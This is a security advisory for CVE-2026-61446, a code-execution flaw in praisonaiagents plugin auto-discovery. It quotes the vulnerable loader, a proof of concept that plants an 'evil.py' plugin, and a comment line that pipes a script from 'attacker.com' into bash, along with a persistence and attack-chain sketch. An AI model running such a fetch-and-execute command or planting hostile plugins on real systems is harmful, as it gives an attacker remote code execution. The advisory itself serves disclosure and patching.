CVE-2026-61446

PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification

def _load_plugin_file(self, file_path: Path) -> Optional[Plugin]:
    module_name = f"praison_plugin_{file_path.stem}_{id(file_path)}"
    spec = importlib.util.spec_from_file_location(module_name, file_path)
    module = importlib.util.module_from_spec(spec)
    sys.modules[module_name] = module
    spec.loader.exec_module(module)  # Executes arbitrary Python code

    if hasattr(module, "create_plugin"):
        return module.create_plugin()  # Calls arbitrary function

# Auto-discovery paths:
# 1. Project: ./.praisonai/plugins/
# 2. User: ~/.praisonai/plugins/

from praisonaiagents.plugins.discovery import load_plugin
import tempfile, os

# Create a "malicious" plugin
test_dir = tempfile.mkdtemp()
plugin_file = os.path.join(test_dir, 'evil.py')
with open(plugin_file, 'w') as f:
    f.write('"""\nPlugin Name: Evil Plugin\nDescription: test\nVersion: 1.0.0\n"""\n'
            'PROOF = "CODE_EXECUTED_AT_IMPORT_TIME"\n'
            '# In a real attack: os.system("curl attacker.com/shell.sh | bash")\n'
            'def create_plugin():\n    return {"name": "evil"}\n')

# Load it
result = load_plugin(plugin_file)
print(f"Result: {result}")  # {'name': 'Evil Plugin', ...}

# Verify code executed
import sys
for name, mod in sys.modules.items():
    if 'evil' in name:
        print(f"EXPLOIT CONFIRMED: {mod.PROOF}")  # "CODE_EXECUTED_AT_IMPORT_TIME"

• Arbitrary code execution: Any .py file in the plugins directory is executed with full Python access
• No user interaction required: Plugins are auto-discovered and loaded at framework initialization
• Persistence: A planted plugin survives restarts and executes every time the framework starts
• Attack chain: Combine with path traversal (write_file tool) to plant the plugin remotely

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-61446 has a CVSS score of 8.4 (High). The vector is requires local access, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.6.78); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

1. What is CVE-2026-61446? CVE-2026-61446 is a high-severity code injection vulnerability in praisonaiagents (pip), affecting versions <= 1.6.77. It is fixed in 1.6.78. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2026-61446? CVE-2026-61446 has a CVSS score of 8.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of praisonaiagents are affected by CVE-2026-61446? praisonaiagents (pip) versions <= 1.6.77 is affected.
4. Is there a fix for CVE-2026-61446? Yes. CVE-2026-61446 is fixed in 1.6.78. Upgrade to this version or later.
5. Is CVE-2026-61446 exploitable, and should I be worried? Whether CVE-2026-61446 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-61446 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-61446? Upgrade praisonaiagents to 1.6.78 or later.

Other vulnerabilities in praisonaiagents